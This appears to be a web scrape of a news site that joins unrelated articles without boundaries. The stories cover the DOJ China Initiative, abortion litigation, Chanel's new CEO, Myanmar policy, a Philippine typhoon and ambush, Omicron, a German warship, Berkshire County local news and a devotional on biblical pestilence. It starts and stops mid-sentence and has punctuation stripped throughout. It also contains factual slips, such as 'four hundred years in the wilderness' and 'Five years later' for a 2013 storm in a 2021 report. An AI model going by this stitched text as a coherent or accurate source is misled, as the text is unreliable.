Massachusetts who was an early leader on the nationwide effort and whose office brought charges against Lieber, believes the initiative needs reform. The Initiative has drifted and, in some significant ways, lost its focus, he wrote in part on LinkedIn last week. DOJ should revamp, and shut down, parts of the program, to avoid needlessly chilling scientific and business collaborations with Chinese partners. Lelling, who is now in private practice, declined to comment directly on the Lieber case Tuesday, but argued that cases like it were important in bringing attention to the growing threat of economic espionage by the Chinese government. There was widespread concern that the Chinese government was using research collaborations to siphon off U.S. technology, so researchers failing to disclose their China connections to U.S. grant-makers was concerning," he said. If the U.S. government doesnt know the extent of U.S. research collaboration with China, it cant properly develop policy in that area. At the same time, Lelling argued that prosecutors should play out the remaining cases to their conclusion and focus on only the most serious cases against academics going forward. Three years later, the academic community is fully aware of the issue," he said. "Schools have tightened their disclosure requirements in this area and researchers are very worried about government enforcement. In short, deterrence has been achieved. Wyn Hornbuckle, a DOJ spokesperson, said Tuesday that the department is reviewing its approach to countering threats posed by the Chinese government and will provide additional information in the coming weeks. Garland told lawmakers during an October hearing on the initiative that China remains a serious threat to American intellectual property in terms of espionage, cyber incursions and ransomware. But he also stressed that "cases will not be pursued based on discrimination, but only on facts justifying them. WASHINGTON (AP) Arizona asked the Supreme Court Tuesday to allow enforcement of a ban on abortions performed solely because of Down syndrome and other genetic abnormalities. The request from the state's Republican attorney general, Mark Brnovich, comes as the high court is weighing rolling back abortion rights nationwide and in the immediate aftermath of a decision keeping in place Texas' ban on abortion after about six weeks, while allowing some challenges to the law to continue. A federal judge blocked the provision of Arizona law enacted earlier this year that would have let prosecutors bring felony charges against a doctor who knowingly terminates a pregnancy solely because of a genetic abnormality. A federal appeals court also refused to allow its enforcement. Several Republican-led states have enacted laws prohibiting abortion based on a fetal diagnosis of Down syndrome or other genetic issues, among hundreds of new abortion restrictions put in place in recent years. The federal appeals court in Cincinnati allowed Ohio's law to take effect and appellate judges in St. Louis are deliberating over a similar law in Missouri. When the issue last came to the Supreme Court, in 2019, the justices rejected Indiana's appeal over enforcing its law, which also prohibited abortion because of the race or sex of the fetus. Justice Clarence Thomas wrote a lengthy opinion in which he said the Indiana law and other laws like it promote a States compelling interest in preventing abortion from becoming a tool of modern-day eugenics. Arizona also prohibits abortions over race and sex, but those provisions are not at issue. Brnovich argued in court papers that the law furthers Arizonas interest in protecting the disability community from discrimination. He also wrote that it's not right to call the law an abortion ban. A woman still could obtain an abortion in such circumstances if she doesn't say why she wants one or makes a decision independent of a fetal abnormality, among other reasons, he wrote. The case goes first to Justice Elena Kagan, who handles emergency requests from Arizona. NEW DELHI (AP) The luxury fashion house Chanel has chosen Leena Nair, an industry outsider from India and longtime executive at Unilever, to be its new CEO. Analysts say her hiring signals how the brand is accounting for changing consumer awareness of the industrys environmental impact and the importance of diverse hires. Nair tweeted that she was humbled and honored to be appointed the Global Chief Executive Officer of @CHANEL, an iconic and admired company. The news made a huge splash Wednesday in India, Nairs birthplace, where she received scores of congratulations and compliments to her announcement, one calling her a serial glass-ceiling breaker. The appointment is full of historic firsts," said Abhay Gupta, CEO and founder of consultancy group Luxury Connect in India. I am elated. This is the first time an Indian is heading a global luxury brand, that too an Indian woman, and its the first time a fashion industry outsider has been picked, he said. People of Indian origin are at the helm of a number of global tech, finance and other companies, but the same cant be said for luxury brands. Gupta, who also runs a school for luxury management, said his students would be inspired by the news. Its very encouraging and motivating, especially since we havent seen this before. Coming from a non-luxury background, I expect shell bring fresh perspective its a sign that things are changing, he said. While Nair, 52, is not a part of the Paris fashion scene, Chanel has a wide range of products in addition to its high fashion designs, including eyeglasses, watches and makeup. Nair is succeeding billionaire co-owner and chairman of privately held Chanel, Alain Wertheimer, as CEO. A grandson of Chanel co-founder Pierre Wertheimer, he remains as global executive chairman of the fashion house. In a press announcement, Chanel said Nair's hiring will further ensure long-term success as a private company." Nair is due to step into her new role in January and shell be based in London. British consumer goods giant Unilever describes Nair as its first woman, first Asian and youngest chief human resources officer. She joined Unilever in 1992 in India and advanced up the ranks, spending time at the company's factories early on. Nair's appointment is a welcome change from the kind of formulaic model of the executives that tend to run major luxury brands, said Imran Amed, founder and CEO of the Business of Fashion, an influential industry news website. While its not uncommon for fashion brands to tap people from consumer goods companies for senior jobs, they usually come from marketing departments because of their expertise in managing brands a luxury fashion companys most important asset. But Chanels decision to hire Nair, with her lengthy background in human resources, underscores the companys efforts to adapt to evolving consumer and workplace attitudes toward sustainability and diversity, Amed said. Rivals like Kering, which owns Gucci and Yves Saint Laurent, have moved faster to stake out leadership positions when it comes to both rising consumer awareness of the industrys environmental impact and the importance of inclusive hiring as they battle for talent, Amed said. Nair has really been focused on these kinds of topics during her time at Unilever, Amed said. I think that that signals a really important challenge for Chanel as it seeks to modernize its corporate culture. Her appointment is seen back home as a sign of the rising stature of Indian business leaders. It's also a milestone for women, because so few of them head up big luxury brands, Amed said. In her social media posts, Nair, who is married to financial entrepreneur Kumar Nair and has two sons, has described India-born former PepsiCo CEO Indra Nooyi as a friend and mentor. Nair herself recently was awarded the Great British Businesswoman Role Model of the Year award. But she is not the first woman to be CEO of Chanel. Earlier, Francoise Montenay and American Maureen Chiquet held that role. And of course, the co-founder of Maison de Chanel was a woman, the late Gabrielle Coco Chanel. ___ AP Business Writers Kurtenbach reported from Bangkok and Kelvin Chan contributed from London. Courtesy photo /Laredo Police Department Two people are wanted for allegedly stealing a television from a local store, according to Laredo police. Authorities released surveillance photos of a man and a woman whom they say need to be identified in relation to the recent TV theft. WASHINGTON (AP) As the Supreme Court court weighs the future of the landmark 1973 Roe v. Wade decision, a resurgent anti-abortion movement is looking to press its advantage in state-by-state battles while abortion-rights supporters prepare to play defense. Both sides seem to be operating on the assumption that a court reshaped by former President Donald Trump will either overturn or seriously weaken Roe. We have a storm to weather, said Elizabeth Nash, state policy analyst for the Guttmacher Institute, a research organization that supports abortion rights. We have to weather the storm so that in the future five, 10, 15 years from now we're talking about how we managed to repeal all these abortion bans. The institute estimates that as many as 26 states would institute some sort of abortion-access restrictions within a year, if permitted by the court. At least 12 states have trigger bans on the books, with restrictions that would kick in automatically if the justices overturn or weaken federal protections on abortion access. The current case before the court, Dobbs v. Jackson Womens Health Organization, concerns a Mississippi law that bans abortion after 15 weeks of pregnancy. Roe v. Wade, which was reaffirmed in a subsequent 1992 ruling in Planned Parenthood v. Casey, allows states to regulate but not ban abortion up until the point of fetal viability, at roughly 24 weeks. The fate of the Mississippi case wont be known for months, but based on opening arguments, Roe appears to be in peril. All six of the courts conservative justices, including Trump appointees Neil Gorsuch, Brett Kavanaugh and Amy Coney Barret, indicated they would uphold the Mississippi law. There's no doubt that what we heard from the Supreme Court was incredibly disturbing, said Ianthe Metzger, director of state media campaigns for the Planned Parenthood Action Fund, one of the most prominent advocates of abortion access rights. It wasn't really surprising but it was alarming. Susan Arnall, director of outreach for the anti-abortion Right to Life League, said she was particularly encouraged by Justice Samuel Alito's emphasis on the concept of viability for the fetus as a guiding principle on when to ban the termination of a pregnancy. She predicts that modern advancements in medicine will continue to shrink the window in which a fetus is not viable, opening the door to a host of medically intricate state-level debates. Viability is something that is subject to medical science, Arnall said. Its going to get intensely legal and intensely medical. Its going to be a battle of lawyers and doctors. Both sides seem to have been preparing for this moment for years, particularly with Trump having installed more than 200 federal judges and three Supreme Court justices during his presidency. Pro-abortion-access groups donated $8 million in 2018 and more than $10 million in 2020, according to Open Secrets, a nonpartisan group that tracks political spending. Those numbers outpace the public contributions of anti-abortion groups, which donated $2.6 million in 2018 and $6.3 million in 2020, according to Open Secrets. But the complexity of the network of nonprofits and dark money funds makes it difficult to produce a full accounting of the money flows. While Washington is the primary current battleground, many leaders of the conservative movement are treating the judicial battle as won and Roe's demise as an inevitability. The next battleground will be a shifting cat-and-mouse fight in state legislatures and in next year's elections across the country. People are realizing that seven months from now, well probably be dealing with this on a state level, said Brian Burch, president of CatholicVote. This will become much more prominent in state electoral races, especially governors races. Legislatures in many Republican-led states are poised for action depending on the Supreme Courts ruling. On Wednesday, the 6th U.S. Circuit Court of Appeals vacated previous rulings that had blocked a Tennessee law that included banning abortions once a fetal heartbeat is detected about six weeks and ordered a rehearing by the full court. The battle has been happening in the statehouses for decades and its going to intensify, Nash said. The Supreme Court's ruling is expected around June, almost guaranteeing that the issue will dominate next fall's congressional elections as well as state-level races from coast to coast. That's perfect timing, just ahead of the midterms," said Arnall of the Right to Life League. The ruling could set off a flurry of activity concerning medicinal abortions a medical option that didn't exist when Roe became law. The pills were approved by the Food and Drug Administration in 2000, with restrictions that included requiring an in-person clinic visit before someone could be prescribed the two-pill regimen and a ban on sending them through the mail. Those restrictions were relaxed during the coronavirus pandemic. Women seeking the pills can now receive them in the mail after a long-distance consultation with a doctor and they don't need to visit a clinic. The FDA is scheduled to review that stance soon but either way, those policies are expected to come under immediate attack by Republican-held statehouses. Medicinal abortions will be very high on the agenda. Nash said. This is the new frontier. Texas, which has enacted a law effectively banning most surgical abortions after six weeks, has a new restriction that makes it a felony to provide the medical abortion pills after seven weeks of pregnancy and criminalizes sending the medication through the mail. A coordinated disinformation campaign by anti-choice, anti-freedom politicians and activists has again allowed Texas to push care out of reach particularly for those already marginalized by our health care system, NARAL Pro Choice President Mimi Timmaraju said in a statement. "There is no end to the cruel measures anti-choice extremists will push in their quest for power and control. Despite the historic setbacks, proponents of abortion access claim they are prepared for the state-by-state fight and are devising multiple ways to help women seeking abortions travel to states where they can receive them. Metzger, of Planned Parenthood, predicted that the renewed threat will spark a massive wave of public support for abortion rights. There's no doubt that (abortion opponents) have been playing a 40-year game, Metzger said. For us, it's just continuing to sound the alarm. People are seeing that the threat is very real. This is not a theoretical argument anymore. Washington is considering additional steps to press the Burmese junta into putting Myanmar on the path to democracy, U.S. Secretary of State Antony Blinken said here Wednesday before cutting short his first official Southeast Asia trip after someone in his traveling party tested positive for COVID-19. The United States Treasury, joined by Canada and the United Kingdom, issued sanctions last week against four Myanmar top officials and three military entities over alleged human rights abuses. The situation has not improved. We had a lengthy discussion about this, Blinken told reporters after he met with Malaysian Foreign Minister Saifuddin Abdullah in Putrajaya. I think it will be very important in weeks, in months ahead to look at the additional steps and measures that we can take individually and collectively to pressure the regime to put the country back on a democratic trajectory. Blinken arrived here from Indonesia and was planning to go on to Bangkok, the third and final stop of his first tour of Southeast Asia as secretary of state. But he had to cancel the Bangkok leg of his trip and return to Washington because of a coronavirus case detected in his traveling party. Blinken spoke with Thai Foreign Minister Don Pramudwinai to explain he was cutting his trip short out of an abundance of caution, according to State Department spokesman Ned Price. The secretary extended an invitation for the foreign minister to visit Washington, D.C., at the earliest opportunity and noted that he looked forward to traveling to Thailand as soon as possible. They affirmed that they would use the upcoming engagements to further deepen the U.S.-Thai alliance, Price said in a statement. Speaking to reporters, Americas top diplomat said the U.S. government was calling for Myanmar to release those who were unjustly detained, including former leader Aung San Suu Kyi, and to allow unhindered humanitarian access caused by the worsening crisis in the country. Earlier this month, Aung San Suu Kyi, whose elected government was ousted in a Feb. 1 military coup led by Senior Gen. Min Aung Hlaing, was sentenced to four years in prison on charges of incitement and violation of COVID-19 regulations. On Tuesday, Radio Free Asia (RFA), a news service with which BenarNews is affiliated, reported the death of freelance photographer Soe Naing, the first journalist killed in Myanmar since the coup. He was arrested on Human Rights Day, Dec. 10, while documenting a nationwide Silent Strike boycott against junta rule and died while in custody, family members confirmed. More than 8,000 civilians have been arrested and 1,343 killed by junta authorities, mostly during non-violent protests following the coup, according to the Bangkok-based Assistance Association for Political Prisoners. Genocide probe Blinken indicated that Washington was investigating potential evidence of genocide in Myanmar. We continue to look actively at determinations of what the actions taken by Myanmar and whether they constitute genocide and that is something we are actively looking at now, he said. He also said Myanmar would be one of the topics to be discussed during a planned U.S.-ASEAN summit next year. Other issues expected to be discussed are COVID-19 recovery, trade and green infrastructure. Meanwhile in Cambodia on Wednesday, Prime Minister Hun Sen, whose nation is the new chair of the Association of Southeast Asian Nations (ASEAN), announced his choice to serve as the 10-member groups special envoy to Myanmar Foreign Minister Prak Sokhonn, according to Chinas Xinhua news service. Sokhonn succeeds Brunei Foreign Minister Erywan Yusof, whose government finished its one-year term as ASEAN chair in October. Myanmar is one of ASEANs 10 members. Analyst raises questions A regional analyst from the University of Kuala Lumpur questioned whether Washington would sanction Naypyidaw because of its relationship with Beijing. China will condemn what the U.S. tries to impose on Myanmar and it will create another tension between superpowers in the Asia Pacific region, Aizat Khairi told BenarNews. Blinken is instead reaching out to ASEAN countries, especially Malaysia and Indonesia, to apply pressure on Myanmar, Aizat said. Nevertheless, the ASEANs policy of non-interference could not do much to put pressure on Myanmar, he said. Therefore, the initiative introduced by Malaysian Foreign Minister Saifuddin Abdullah to do some soul-searching seems more relevant to request the military leadership in Myanmar restore the nation to its democratic path with a specific timeline and goal. Saifuddin had previously called for ASEAN to do some soul searching on its principle of not interfering in the domestic affairs of member-states. So ASEAN has to find out in cases like this, perhaps, there are there is Plan A and Plan B and Plan C, and not just to stick to one and that one is not working and you still stick to it. So we have to do some soul-searching, Saifuddin told reporters on Wednesday. In October, regional leaders barred Min Aung Hlaing from attending their summit following a row over Naypyidaws restriction over whether the special envoy could visit as part of a special five-point consensus, which was agreed to at a special ASEAN summit in Jakarta back in April. That consensus included a call for the immediate end of violence in Myanmar, constructive dialogue among all parties, and the creation of the special envoy. The junta refused to allow Bruneis Yusof to meet Aung San Suu Kyi because she had been charged with crimes. On Wednesday, Saifuddin suggested that ASEAN establish milestones for measuring meaningful progress on the Myanmar crisis. He expects this to be discussed at the regional blocs foreign ministers retreat on Jan. 19. We should be looking at what are the real next steps. For example, we should identify real milestone. We have the five-point consensus, but we do not identify exactly when certain things need to be achieved and how, Saifuddin said. Residents of Surigao del Sur province in the southern Philippines wade through a flood caused by heavy rain from Tropical Storm Dujuan, Feb. 21, 2021. Philippine communist guerrillas killed three civilians and wounded another in an ambush on government soldiers who were helping thousands of people evacuate Wednesday as a typhoon bore down on the southern Philippines, officials said. Suspected members of the New Peoples Army (NPA) carried out the attack in Carmen, a town in Surigao del Sur province, as soldiers from the Armys 36th Infantry were assisting residents move to safety ahead of Typhoon Rai, provincial Gov. Alexander Pimentel said. Instead of helping, the NPA ambushed the army, Pimentel told reporters. Three civilians died and an S.K. was also hit, but survived, he said. The S.K. is the Sangguniang Kabataan, or members of a villages volunteer youth service. Pimentel appealed to the NPA the military wing of the outlawed Communist Party of the Philippines (CPP) to cease all guerrilla operations and help the government move vulnerable residents away from areas prone to floods and landslides. This is my only request, for the NPA to spare the police and army from attacks because they are merely helping in the evacuation, he said, adding that about 1,700 families had been evacuated. Pimentel and army officials did not release more information about the victims or say whether any troops or rebels were injured. Interior Undersecretary Jonathan Malaya denounced the attack. Were saddened and we condemn this. Instead of helping, they are undermining the good things being done by the government, Malaya said. Surigao lies in the northeastern Mindanao, the main island in the southern Philippines, where communist rebels and Muslim militants allied with the Islamic State are known to operate. The region was expected to bear the brunt of the storm, which was forecast to make landfall early Thursday before heading northeast and eventually blowing out of the country, the Philippine government meteorological agency (PAGASA) said in its Wednesday bulletin. Typhoon Rai, known as Odette locally, would be the 15th tropical storm to cross the Philippines this year. The United Nations Office for the Coordination of Humanitarian Affairs (OCHA), meanwhile, reported that the typhoon was expected to intensify to a projected wind speed of about 155 kph (96 mph) and dump heavy rains. About 16 million Filipinos in five regions live along its projected path, including about 3.8 million living below the poverty line, OCHA said. This tropical cyclone may see some slight weakening as it crosses the Visayas and Palawan, but it is forecast to remain within the typhoon category. Re-intensification is likely once Odette emerges over the West Philippine Sea, PAGASA said. In the province of Eastern Samar in the central Visayas region, residents started evacuating on Wednesday even as the weather remained calm. Nelson Cortez, the Eastern Samar provincial administrator, said many residents were not taking any chances and had already fled to safety. In other areas, including Guiuan town, mandatory evacuations were ordered. Storm-related disasters The Philippines is no stranger to storm-related disasters, although state resources and manpower have been spread thin as the country deals with the COVID-19 pandemic. Of particular concern are crowded evacuation sites, where lapses in sanitation could lead to an explosion of cases, according to health officials. In November 2013, more than 6,000 people died, and scores were reported missing after Super Typhoon Haiyan battered the central Philippines. The storm, comparable to a Category 4 hurricane, blew away houses and brought massive flooding. Haiyan was the strongest storm to ever make landfall in the Philippines. Five years later, many areas in the central part of the country are dealing the long-term effects of the devastation. The Philippines sits on a typhoon belt and endures as many as 20 tropical storms a year. Mark Navales in Cotabato, Philippines, contributed to this report. A woman with a face mask on looks out from her car window at a fast-food restaurants drive-thru lane decorated for Christmas in Taguig city, Metro Manila, Dec. 2, 2021. The Philippines has detected its first two cases of the Omicron coronavirus variant in travelers arriving here from overseas in recent weeks, the Department of Health announced Wednesday. The two who tested positive were a Filipino citizen who returned to the Philippines from Japan on Dec. 1, and a Nigerian national who arrived in Manila from Nigeria on Nov. 30, health officials said. These new cases add to a handful of infections reported in Southeast Asian countries since the Omicron strain was first detected in Botswana, in southern Africa, last month. Two imported cases of the Omicron variant of concern were detected from the 48 samples sequenced [on] December 14, the Department of Health (DOH) said. The duo who tested positive for the variant have been found and are quarantining in government-run facilities, the department said. The Filipino had a cold and flu upon arrival but was currently asymptomatic. The Nigerian had also shown no symptoms of COVID-19. Although weeks have passed since their arrival, the government acknowledged that it had yet to establish who their close contacts were. The department said it was still verifying the test results and health status of all passengers of these flights to determine if there are other confirmed cases or passengers who became symptomatic after arrival. In the United States, the Centers for Disease Control and Prevention (CDC) said it was collaborating with global public health and industry partners to learn about Omicron, as the government agency continued to monitor the strains course. We dont yet know how easily it spreads, the severity of illness it causes, or how well available vaccines and medications work against it, the CDC said in information updated on its website as of Tuesday. Meanwhile, lab tests undertaken by microbiologists at the University of Hong Kong showed that most individuals who had received two doses of the Chinese-made CoronaVac vaccine or the U.S. and German-made Pfizer-BioNTech vaccine do not produce sufficient levels of serum antibodies against the new Omicron virus variant. The Philippines is among Asian countries that have received supplies of both of these vaccines against the Coronavirus disease. On Wednesday, Cambodia also confirmed its first Omicron case after a 23-year-old Khmer woman tested positive after returning from Ghana, a country near Nigeria, according to a report by Reuters. In early December, Singapore was the first Southeast Asian country to detect cases from the strain, followed by neighboring Malaysia. In the Philippines as of Wednesday, the latest figures from the DOH showed that more than 2.8 million Filipinos have been infected with COVID-19 since the start of the pandemic early last year. There were also 100 new deaths, bringing the death toll to 50,449. For months, international watchers ranked the nation as one of the worst-performing countries because of poor data management, insufficient health-care facilities, and the militarization and politicization of its response to the pandemic. The government has credited its massive inoculation program for preventing a new wave of the disease, although the health department has said that little is still known about Omicron. About 40 million of the countrys 110 million population have already been fully vaccinated, and the government this month launched a massive vaccination drive meant to get infections under control. The German Navy frigate Bayern is docked at the International Cruise Terminal in Tokyo, Nov. 5, 2021, during its deployment to the Indo-Pacific region. The frigate Bayern is sailing through the South China Sea as part of the first deployment of a German warship to the Indo-Pacific in almost 20 years. The deployment marks a shift in Germanys strategy toward the region, drawing a rebuke from China after it rejected Bayerns request in September to make a port call in Shanghai. This doesnt necessarily mean that Germany changed its policy, said Christian-Ludwig Weber-Lortsch, former German ambassador to several Southeast Asian countries, but driven by the increasing assertiveness of China, the situation in the region changed. So we had to adapt our strategy. In all my Asian years with assignments in China, Malaysia, Philippines, Myanmar and Vietnam, I have not observed such a dangerous situation in the region, Weber-Lortsch said. Ship-tracking data show the Bayern, a Brandenburg-class frigate with about 230 crew on board, entered the South China Sea early on Tuesday after leaving Busan in Korea on Dec. 6. Its path veered away from the Taiwan Strait, a flashpoint between Beijing and Taipei. The MarineTraffic data shows the frigate making a circular pattern in the water off the Taiwan Strait between Dec. 9 and 11 before sailing southward. On Dec. 11, the German parliament, the Bundestag, passed a resolution calling on the government to reassess its Taiwan policy and deepen ties with Taipei while ruling out an establishment of diplomatic relations with the self-governing island that Beijing regards as part of China. The German government released comprehensive policy guidelines on the Indo-Pacific in September 2020, stating that the region is where the shape of the international rules-based order of tomorrow will be decided. Our prosperity and our geopolitical influence in the coming decades will depend on how we work together with the countries of the Indo-Pacific region, then-Foreign Minister Heiko Maas said. Next stop: Singapore Following the new strategy, Germany sent Bayern on its first Indo-Pacific deployment that began in August and runs until February 2022 with a core mission flying the German flag. When officials announced the mission in March, they said it would be the first such deployment to the region since 2002. Weber-Lortsch said Germany, a leading export nation, concentrated mainly on business interests but now it should follow a more comprehensive approach, striking a balance between commercial and security considerations. The deployment is described as Germanys contribution to safeguarding the rules-based conduct across the Indo-Pacific. This voyage is also about demonstrating that Germany will stand by its international partners when it comes to securing the freedom of the sea routes and upholding international law in the region, the German armed forces said. The Brandenberg-class frigate Bayern, which is on a six-month deployment, is seen in this undated photo. [German Navy] China responded that the warship deployment to the South China Sea is intended to flex muscles and stir up trouble, deliberately creating disputes on maritime issues. During the deployment, the Bayern has participated in exercises with the U.S., Australia, Singapore, Japan and South Korea. It took part in a surveillance operation to enforce United Nations sanctions against North Korea before leaving for the South China Sea. Next stop: Singapore, the German Ministry of Defense posted on its Twitter page, adding the Bayern should arrive in the city before Christmas. The Bayern is also scheduled to visit Vietnam, another country involved in territorial disputes with China. From there, it is expected to make port calls in Sri Lanka and India before heading back to base in Wilhelmshaven, Germany, in February 2022. It is one of four German Brandenburg-class frigates mainly used for anti-submarine warfare but also for surface-to-surface and anti-aircraft operations. Bennington, VT (05201) Today Partly cloudy skies this evening will give way to occasional snow showers overnight. Low 27F. Winds WSW at 10 to 15 mph. Chance of snow 50%.. Tonight Partly cloudy skies this evening will give way to occasional snow showers overnight. Low 27F. Winds WSW at 10 to 15 mph. Chance of snow 50%. In the desperate hours after the massive storm struck his state, Gov. Andy Beshear took time from his duties to do what many of his fellow Kentuckians were doing making calls to track down a relative The former director of a South Dakota appraiser agency says Gov. Kristi Noems administration departed from established practice and gave an extra opportunity to the governors daughter to get her real estate appraiser license You are the owner of this article. The county's busiest district courthouse closed its doors abruptly midday Tuesday after an employee who had been in the building tested positive for COVID-19. Judge Paul Smyth sent a separate alert to the Bar Advocate Panel. HINSDALE One of the largest development proposals in Hinsdale history will be decided in 2022, not this year. The Hinsdale Zoning Board of Appeals continued work Tuesday to review a Michigan companys application for a special permit that would allow it to convert Camp Emerson on Longview Avenue into a 317-site national destination for RV campers. Also, a consultant hired by the town, DPC Engineering LLC, provided a report Tuesday on water and sewer issues that had not be reviewed fully. The meeting will be continued, said Jeffrey Viner, the ZBAs chairman. The panel voted to suspend the review until 6:30 p.m. Jan. 11. Jeffrey Scrimo, the local attorney for Northgate Resort Ventures LLC, said that because additional materials still were being prepared Tuesday for presentation, the company wants to present to a future ZBA meeting. The panel typically meets every two weeks. Still, Scrimo said the company wished to respond this week to questions from the board. So that were not just wasting time here, wed like to continue moving, Scrimo said. Over two hours, the board drilled in on questions of traffic, sewer connection fees, likely campground occupancy and local hiring, among other issues. Scrimo asked Northgate whether the campground, if approved, later would seek to expand and whether it would accept a cap on its allowable size. Chelsea Bossenbroek, the companys general counsel, said that the size now being sought 317 sites is a sweet spot. Wed be open to discussing limiting to 317, she said. David Prickett, of DPC Engineering LLC of Longmeadow, took to a podium in the Nessacus Regional Middle School auditorium to tick off six issues the town should consider in connection with the application. Among them, he recommended that the town get Northgate to respond to all comments submitted, address pinch points in traffic, consider the projects impact on sewer infrastructure and, most notably, consider requiring Northgate to pay a water and sewer connection fee. Its a major development, Prickett said. So, I would encourage the town to make that a condition should we move forward. When asked about that, Bossenbroek said the company would have to review the costs of connection. She also promised to provide Hinsdale with a breakdown on the campgrounds likely occupancy over the course of a season. One speaker noted that, as described, the site could hold 1,200 people at a time, in a town of fewer than 2,000 residents. Resident Eric M. Goidel, of 40 Rose Drive, asked the board to examine the impact the campground would have on the quality of life in Hinsdale, and on the towns water and sewer infrastructure. Sue Lein, a member of the family that owns Camp Emerson, was among the nearly 60 people watching the boards session on Zoom. Interim Town Administrator Robert Markel, the Lanesborough Select Board and Harold Scheid, bottom, the town's tax rate consultant, during a meeting Tuesday on setting the fiscal 2022 property tax rate. LENOX Canine comfort and joy. Thats the prescription to ease student and staff stress at the towns two public schools, courtesy of a holiday season donation from Lee Kohlenberger. Hes the former Pittsfield firefighter whos owns Berkshire Dogs Unleashed in Lenox, Berkshire Poodles in Pittsfield, and the forthcoming nonprofit corporation, Berkshire Comfort Dogs. The School Committee unanimously voted to accept his gift to the town of two male standard poodle puppies with service-quality temperaments, who will report for duty Jan. 16 at Lenox Memorial Middle and High School and Morris Elementary School. The yet-to-be-named and trained therapy dogs were born three weeks ago. The idea was presented to the committee Monday night by Amy Higgins, a school adjustment counselor at the middle and high school, with support from the administration team. She had been approached by Kohlenberger, said schools Superintendent Marc J. Gosselin Jr., who occasionally brings his standard poodle, four-month-old Lucy, to work. Gosselin noted that quite a few districts statewide and nationally have adopted therapy dogs. Berkshire Hills, serving Great Barrington, Stockbridge and West Stockbridge is considering the idea. A comfort or therapy dog is different from a bring-a-dog-to-work program, the superintendent noted. The benefit is not just for the students but also for our staff, he said. Sometimes, were quick to forget the psychological impact the trauma of living through a pandemic has, and some of [the staff] wrestle with their own anxiety coming to work. Its a benefit all around for the school culture in both buildings. Kids automatically love animals, Higgins said. At her previous position in New Jersey, she brought her own dog to her school office. What they said ... Additional comments during the Lenox School Committee meeting on Monday, where a comfort dog program gained unanimous support: Attention to social and emotional learning is certainly not once and done. Its an ongoing concern and keep popping up for us in new and unexpected ways. Lenox Schools Superintendent Marc J. Gosselin Jr. The presence of a dog lifts attendance and gives students something positive to look forward to during the day. School adjustment counselor Amy Higgins Dr. Gosselins dog is in his office off and on, and I saw her one day captivating, just amazing. School Committee Chairman Robert Vaughan Ive found therapeutically that the presence of the animal changed the culture of my office, she said, and made it a more approachable place, lowered students stress level immediately, and also gave students who were a little intimidated at first about counseling and the stigma, a reason to come in just to see the dog. Her comfort dog also was popular with the faculty, Higgins added. She pointed out that U.S. Surgeon General Vivek Murthy has termed the current state of mental health among youth as a crisis. The Massachusetts School Counselors Association recently stated that schools are struggling to meet students emotional adjustment needs. This is a creative way, but it also hits many marks, Higgins said. It uplifts the community, school culture and helps students feel they can have a relationship with the dog thats nonjudgmental, that teaches compassion and empathy, and is a mirror of how to treat another living being. It lowers aggression by students, who around a dog were completely different. After Kohlenberger left the Pittsfield Fire Department recently after 10 years of service, he said he prioritized placing comfort dogs in area police and fire departments. Pittsfield Police recently adopted comfort dogs for community outreach as well as for department morale. Dalton Police did the same. Kohlenberger said his Berkshire Dogs Unleashed will cover all grooming, boarding and training to get the puppies ready to serve at each school. They will report for duty in one month while their 24 to 28 weeks of formal training continues. That whole time, they will serve as comfort dogs for the town, he told the school board. Hilltown Veterinary Clinic in the town of Washington has offered to cover any expenses for all working dogs in the county, including comfort dogs, Kohlenberger added. The estimated $600 annual cost of dog food will be covered by his nonprofit by next summer for towns that cant afford the expense. Training for puppies is in several phases socialization and then obeying basic commands, he said, because its important that the puppies are in school every day and going home with the handler since socialization at the comfort dog level is really the most important thing. The final three months of training are aimed at earning three levels of the American Kennel Clubs Canine Good Citizen badges for full qualification as a comfort dog at the age of one year. Its the icing on the cake for a bond already formed with the handler, Kohlenberger said. Since the Lenox schools comfort dogs will be owned by the town, they will be covered by town governments liability insurance, Gosselin stated. He also told the committee that theres a waiting list of employees at both schools who would love to serve as handlers and to board a therapy dog and then bring him to work. School Committee Vice Chair Veronica Fenton, owner of two poodles, noted that the hypoallergenic breed is very smart and loving and unlikely to cause an allergic reaction. Scott Stafford has been a reporter, photographer, and editor at a variety of publications, including the Dallas Morning News and The Berkshire Eagle. Reporter Greta Jochem, a Report for America Corps member, joined the Eagle in 2021. Previously, she was a reporter at the Daily Hampshire Gazette. She is also a member of the investigations team. When God sends pestilence, it is not a good thing. He sends it for a reason. God sent pestilence as judgment. Through Scripture, you will read about pestilence. Pestilence is a deadly disease. This calamity is considered harmful or destructive. It is a consuming sickness and is frequently used by God in Scripture as a judgment on the people. What Is the Purpose of Pestilence in the Bible? The purpose of pestilence is to correct disobedience. Read the entire chapter of Leviticus 26. The author of Leviticus is Moses. In this book, God is providing instruction on how His people should live. The laws included here relate to the entire nation of Israel and not just the priests. The goal is for Israel to understand that they serve a Holy God and that He has expectations for them. Not much has changed. God still has expectations for His people whether you are Christians or Jews. God sent Jesus so that all of us could be saved because we were headed in the wrong direction since the fall of man and even after the flood. Jesus is Gods pathway for redemption. God gets really descriptive about pestilence. Look at Numbers 14:11-12. And the Lord said unto Moses, How long will this people provoke me? And how long will it be ere they believe me, for all the signs which I have shewed among them? I will smite them with the pestilence, and disinherit them, and will make of thee a greater nation and mightier than they. If you know the history of the Israelites and how they spent four hundred years in the wilderness as God dealt with them, you know that they suffered many things. Some of that had to do with pestilence. Today, you can see a people that are favored as the Lord has promised. As Christians, this is nothing to get upset about. We are highly favored as well. God loves those who keep His commandments. God tells us in His Word that His commandments are not grievous (1 John 5:3). 5 Things to Know about Pestilence (in the Bible) 1. When God sends pestilence, it is because of disobedience, and He wants those who encounter it to straighten up. In Deuteronomy 28:21-68, God gives some examples of what pestilence does to the people afflicted. He does talk about consumption or wasting away, a fever, inflammation, and extreme burning. He talks about how the enemies will get the best of those afflicted. He discusses the loss of relationships and property. We see in these verses that the crops are not profitable. The livestock are given away. I interpret these scriptures as meaning any of these things can occur and the cause is pestilence. There are many different afflictions and situations listed here. 2. Pestilence appears to not only be a condition, but it also separates you from God for a time being until you cry out to God and come in right standing. You have to fast, pray and be sincere. Many people think that Coronavirus is a type of pestilence. I will leave that up to ministers for interpretation. The Black Plague caused loss of life and was considered a type of pestilence. At least with the Coronavirus, we have vaccines available. However, people must get vaccines in time to assist them with the ailments of the Coronavirus. 3. Pestilence was also sent to those who prophesied but were not sent by God. I see the results of Gods wrath on those not sent in Jeremiah 27:13-14. Jeremiah 13 says Why will ye die, thou and thy people, by the sword, by the famine, and by pestilence, as the Lord hath spoken against the nation that will not serve the king of Babylon? Verse fourteen continues, Therefore hearken not unto the words of the prophets that speak unto you. For I have not sent them, said the 